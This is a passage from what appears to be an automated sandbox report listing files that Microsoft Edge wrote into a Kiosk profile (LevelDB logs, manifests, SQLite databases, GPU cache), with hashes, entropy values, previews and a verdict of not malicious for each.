SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\EntityExtraction\EntityExtractionAssetStore.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	321
Entropy (8bit):	5.217524680946262
Encrypted:	false
SSDEEP:	6:ud8KjwFmQB1wkn23oH+Tcwtj2WwnvB2KLlcd8vXHM+q2Pwkn23oH+Tcwtj2Wwnvh:1ewmbfYebjxwnvFLtvXHM+vYfYebjxwp
MD5:	638065FFA7729EDBB974953FE900B9FB
SHA1:	A87BC1DC2A1F241FD5B19DF6391B487E8CBE0A0E
SHA-256:	21FC3E6BC5A1E0CF78B9008088D44F0FC843DEE8821B9C8F7A238203B47A6FA1
SHA-512:	D7A675352CEBDD5E7833150C4ECEB2EB74384A51BF411865CE18164098E70014513822124818CA1CB3BE5D475A2283AB2F0E8ABB665A38F47CD6A7260BDEA9FF
Malicious:	false
Preview:	2024/08/31-20:48:18.504 268c Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\EntityExtractionAssetStore.db since it was missing..2024/08/31-20:48:18.617 268c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\EntityExtractionAssetStore.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\EntityExtraction\EntityExtractionAssetStore.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\EntityExtraction\domains_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	358860
Entropy (8bit):	5.324606789819453
Encrypted:	false
SSDEEP:	6144:CgimBVvUrsc6rRA81b/18jyJNjfvrfM6Rr:C1gAg1zfvD
MD5:	C624DE52AAE55AA8E933B0054B1C9759
SHA1:	171DA24CAE7CB3BD39A548B51FAA96C0F77C0FCB
SHA-256:	965E1524F602B9A90B00C99BF7929984EFA6BBA83584720C61A7DBD320E6EB54
SHA-512:	281A88BD5B6DB92F3A722A14700AD6D038F4398B9F9C775123296D5CBE0C9207ABD78A9D129C27482D8C43F351A059D7FB24BEFAFCF40ADB059648945AE1E878
Malicious:	false
Preview:	{"aee_config":{"ar":{"price_regex":{"ae":"(((ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)))","dz":"(((dzd\|da\|\\x{062F}\\x{062C})\\s\\d{1,3})\|(\\d{1,3}\\s(dzd\|da\|\\x{062F}\\x{062C})))","eg":"(((e\\x{00a3}\|egp)\\s\\d{1,3})\|(\\d{1,3}\\s(e\\x{00a3}\|egp)))","ma":"(((mad\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(mad\|dhs\|dh)))","sa":"((\\d{1,3}\\s(sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633}))\|((sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633})\\s\\d{1,3}))"},"product_terms":"((\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{0639}\\x{0631}\\x{0628}\\x{0629})\|(\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{062D}\\x{0642}\\x{064A}\\x{0628}\\x{0629})\|(\\x{0627}\\x{0634}\\x{062A}\\x{0631}\\x{064A}\\s*\\x{0627}\\x{0644}\\x{0622}\\x{0646})\|(\\x{062E}\\x{064A}\\x{0627}\\x{0631}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Extension Rules\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Extension Rules\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	171
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	3:FQxlXNQxlXNQxlXNQxlXNQxlXNQxlXNQxlXNQxlXNQxlX:qTCTCTCTCTCTCTCTCT
MD5:	E952942B492DB39A75DD2669B98EBE74
SHA1:	F6C4DEF325DCA0DFEC01759D7D8610837A370176
SHA-256:	14F92B911F9FE774720461EEC5BB4761AE6BFC9445C67E30BF624A8694B4B1DA
SHA-512:	9193E7BBE7EB633367B39513B48EFED11FD457DCED070A8708F8572D0AB248CBFF37254599A6BFB469637E0DCCBCD986347C6B6075C06FAE2AF08387B560DEA0
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Extension Rules\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Extension Rules\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	293
Entropy (8bit):	5.204279645737619
Encrypted:	false
SSDEEP:	6:ud8X1Xs1wkn23oH+TcwttaVdg2KLlcd8Gxd3+q2Pwkn23oH+TcwttaPrqIFUv:1FbfYebDLtCOvYfYeb83FUv
MD5:	B80926B1E910675E839999A47B50D82D
SHA1:	EA272F06C5CCE1F07812CEAE8743FFDE87A76E60
SHA-256:	756075E19E22E811BFDF0BA0D9FA5523CFAFF206EE7DE5E9215EA2ADD96B1A33
SHA-512:	CF407C27D08982C0234CEEB093C9824AE53DC15E7251A9975C0B71967FBAA8D408165027F052EBEC40A6A62137760319CB4BF2C07A0D74511F5F3F4BB7531F8F
Malicious:	false
Preview:	2024/08/31-20:48:13.288 1d98 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Extension Rules since it was missing..2024/08/31-20:48:13.385 1d98 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Extension Rules/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Extension Rules\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Extension Scripts\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Extension Scripts\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	171
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	3:FQxlXNQxlXNQxlXNQxlXNQxlXNQxlXNQxlXNQxlXNQxlX:qTCTCTCTCTCTCTCTCT
MD5:	E952942B492DB39A75DD2669B98EBE74
SHA1:	F6C4DEF325DCA0DFEC01759D7D8610837A370176
SHA-256:	14F92B911F9FE774720461EEC5BB4761AE6BFC9445C67E30BF624A8694B4B1DA
SHA-512:	9193E7BBE7EB633367B39513B48EFED11FD457DCED070A8708F8572D0AB248CBFF37254599A6BFB469637E0DCCBCD986347C6B6075C06FAE2AF08387B560DEA0
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Extension Scripts\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Extension Scripts\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	297
Entropy (8bit):	5.185175402741682
Encrypted:	false
SSDEEP:	6:ud8qwXs1wkn23oH+Tcwtt6FB2KLlcd8WFYI+q2Pwkn23oH+Tcwtt65IFUv:1NbfYeb8FFLtWFYdvYfYeb8WFUv
MD5:	C6D8C45B230791A87EE0136D671047BC
SHA1:	79D163834964276C647F000DC332FD3ACDCC3AD7
SHA-256:	B33148123500DC0B3CC027845702C67868704C1DD9A97C01ECDB2BDB2960CE9A
SHA-512:	B500346C74A4F1AE07F207AE18CDB349FBF88C6C4BDE923D20C97100FC9CFB962AD89136F0BEE98A8221F41DAAEA43F1E226F13DD664C1AC1553BC78CA15BBB3
Malicious:	false
Preview:	2024/08/31-20:48:13.389 1d98 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Extension Scripts since it was missing..2024/08/31-20:48:13.420 1d98 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Extension Scripts/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Extension Scripts\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Extension State\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Extension State\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	513
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWWWWWWW
MD5:	C92EABB217D45C77F8D52725AD3758F0
SHA1:	43B422AC002BB445E2E9B2C27D74C27CD70C9975
SHA-256:	388C5C95F0F54F32B499C03A37AABFA5E0A31030EC70D0956A239942544B0EEA
SHA-512:	DFD5D1C614F0EBFF97F354DFC23266655C336B9B7112781D7579057814B4503D4B63AB1263258BDA3358E5EE9457429C1A2451B22261A1F1E2D8657F31240D3C
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Extension State\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Extension State\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	293
Entropy (8bit):	5.155337439099538
Encrypted:	false
SSDEEP:	6:ud8oUN1wkn23oH+TcwttYg2KLlcd8RSQL+q2Pwkn23oH+TcwttNIFUv:1oJfYebJLt0Q+vYfYeb0FUv
MD5:	789F39F3A46C2FDFAAECE4E1750571DF
SHA1:	8BF3CFD7D870BC90E49C80F7381B64463D90432A
SHA-256:	5928096C8FC46B1C7896DE37431906AA4B3318E91B886F84098A4DA47D82FE15
SHA-512:	57D98644B878F8D7E4F83771E69C6D3A950E412F93B60674F98535BEA953B125908B994A1B2C23A500D2E925CF4ED10AB4141948E52448DE03FCC63B228E60E3
Malicious:	false
Preview:	2024/08/31-20:48:14.411 155c Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Extension State since it was missing..2024/08/31-20:48:14.424 155c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Extension State/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Extension State\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\ExtensionActivityComp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 1, cookie 0x1, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	4096
Entropy (8bit):	0.3169096321222068
Encrypted:	false
SSDEEP:	3:lSWbNFl/sl+ltl4ltllOl83/XWEEabIDWzdWuAzTgdWj3FtFIU:l9bNFlEs1ok8fDEPDadUTgd81Z
MD5:	2554AD7847B0D04963FDAE908DB81074
SHA1:	F84ABD8D05D7B0DFB693485614ECF5204989B74A
SHA-256:	F6EF01E679B9096A7D8A0BD8151422543B51E65142119A9F3271F25F966E6C42
SHA-512:	13009172518387D77A67BBF86719527077BE9534D90CB06E7F34E1CCE7C40B49A185D892EE859A8BAFB69D5EBB6D667831A0FAFBA28AC1F44570C8B68F8C90A4
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\ExtensionActivityEdge

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 2, database pages 8, cookie 0x8, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.40981274649195937
Encrypted:	false
SSDEEP:	24:TL1WK3iOvwxwwweePKmJIOAdQBVA/kjo/TJZwJ9OV3WOT/5eQQ:Tmm+/9ZW943WOT/
MD5:	1A7F642FD4F71A656BE75B26B2D9ED79
SHA1:	51BBF587FB0CCC2D726DDB95C96757CC2854CFAD
SHA-256:	B96B6DDC10C29496069E16089DB0AB6911D7C13B82791868D583897C6D317977
SHA-512:	FD14EADCF5F7AB271BE6D8EF682977D1A0B5199A142E4AB353614F2F96AE9B49A6F35A19CC237489F297141994A4A16B580F88FAC44486FCB22C05B2F1C3F7D1
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j............M.....8...b..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Favicons

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 10, cookie 0x8, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6975083372685086
Encrypted:	false
SSDEEP:	24:LLiZxh0GY/l1rWR1PmCx9fZjsBX+T6UwcE85fBmI:EBmw6fU1zBmI
MD5:	F5BBD8449A9C3AB28AC2DE45E9059B01
SHA1:	C569D730853C33234AF2402E69C19E0C057EC165
SHA-256:	825FF36C4431084C76F3D22CE0C75FA321EA680D1F8548706B43E60FCF5B566E
SHA-512:	96ACDED5A51236630A64FAE91B8FA9FAB43E22E0C1BCB80C2DD8D4829E03FBFA75AA6438053599A42EC4BBCF805BF0B1E6DFF9069B2BA182AD0BB30F2542FD3F
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g....._.c...~.2.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................s...;+...indexfavicon_bitmaps_icon_idfavico

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\GPUCache\data_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 512, next free block index 3284796609, field type 0
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.01057775872642915
Encrypted:	false
SSDEEP:	3:MsFl:/F
MD5:	CF89D16BB9107C631DAABF0C0EE58EFB
SHA1:	3AE5D3A7CF1F94A56E42F9A58D90A0B9616AE74B
SHA-256:	D6A5FE39CD672781B256E0E3102F7022635F1D4BB7CFCC90A80FFFE4D0F3877E
SHA-512:	8CB5B059C8105EB91E74A7D5952437AAA1ADA89763C5843E7B0F1B93D9EBE15ED40F287C652229291FAC02D712CF7FF5ECECEF276BA0D7DDC35558A3EC3F77B0
Malicious:	false
Preview:	............$...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\GPUCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\GPUCache\data_2

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.011852361981932763
Encrypted:	false
SSDEEP:	3:MsHlDll:/H
MD5:	0962291D6D367570BEE5454721C17E11
SHA1:	59D10A893EF321A706A9255176761366115BEDCB
SHA-256:	EC1702806F4CC7C42A82FC2B38E89835FDE7C64BB32060E0823C9077CA92EFB7
SHA-512:	F555E961B69E09628EAF9C61F465871E6984CD4D31014F954BB747351DAD9CEA6D17C1DB4BCA2C1EB7F187CB5F3C0518748C339C8B43BBD1DBD94AEAA16F58ED
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\GPUCache\data_3

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.012340643231932763
Encrypted:	false
SSDEEP:	3:MsGl3ll:/y
MD5:	41876349CB12D6DB992F1309F22DF3F0
SHA1:	5CF26B3420FC0302CD0A71E8D029739B8765BE27
SHA-256:	E09F42C398D688DCE168570291F1F92D079987DEDA3099A34ADB9E8C0522B30C
SHA-512:	E9A4FC1F7CB6AE2901F8E02354A92C4AAA7A53C640DCF692DB42A27A5ACC2A3BFB25A0DE0EB08AB53983132016E7D43132EA4292E439BB636AAFD53FB6EF907E
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\GPUCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 768, next free block index 3284796353, field type 0
Category:	dropped
Size (bytes):	262512
Entropy (8bit):	9.553120663130604E-4
Encrypted:	false
SSDEEP:	3:LsNlA/Tlll:Ls3aTlll
MD5:	72D0725EB93C771A98D678B64ABC6132
SHA1:	1FF2DD73E4341D1F03A734A62DC279F747C9AA23
SHA-256:	CCB0334BF5672A3EA9D7B8D0D4209B0C6F7C57A07A477457C1183FADA27A8904
SHA-512:	1ABC40A950EE54DC6FEEBC8BA6320ECD092E5117AAD105E883073E87F37F862FE41EC689B4F1098B4E15D2221DD4975D2232A5FB07BC2429425960CFAFAD13A3
Malicious:	false
Preview:	.........................................].v../.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\History

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 38, cookie 0x1f, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	155648
Entropy (8bit):	0.5407252242845243
Encrypted:	false
SSDEEP:	96:OgWyejzH+bDoYysX0IxQzZkHtpVJNlYDLjGQLBE3CeE0kE:OJhH+bDo3iN0Z2TVJkXBBE3yb
MD5:	7B955D976803304F2C0505431A0CF1CF
SHA1:	E29070081B18DA0EF9D98D4389091962E3D37216
SHA-256:	987FB9BFC2A84C4C605DCB339D4935B52A969B24E70D6DEAC8946BA9A2B432DC
SHA-512:	CE2F1709F39683BE4131125BED409103F5EDF1DED545649B186845817C0D69E3D0B832B236F7C4FC09AB7F7BB88E7C9F1E4F7047D1AF56D429752D4D8CBED47A
Malicious:	false
Preview:	SQLite format 3......@ .......&..................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\History-journal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	0.21880421027789762
Encrypted:	false
SSDEEP:	3:jn9tFlljq7A/mhWJFuQ3yy7IOWUAHtdweytllrE9SFcTp4AGbNCV9RUIU:jG75fOWHtd0Xi99pEYO
MD5:	A95D9AE82EAF03DA873C7DBAFFE3C2A0
SHA1:	B3774D04AE62683E1D9D42E9A4E392742F7C0B8A
SHA-256:	2E4C850FBF9B35A0D836BC7089EBE10A96EBCDC64B3C536D20A742963EDD1327
SHA-512:	398FCF0411D16DFF4D52DB754CF13C78C0DC3C5BD4639C59323A4A58F101317A64743FAA7D83D34A12B598748B97C50C63450D4AF817B4CEF01AA74EDC0B74DB
Malicious:	false
Preview:	............S......&....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\HubApps Icons

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 2, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 2
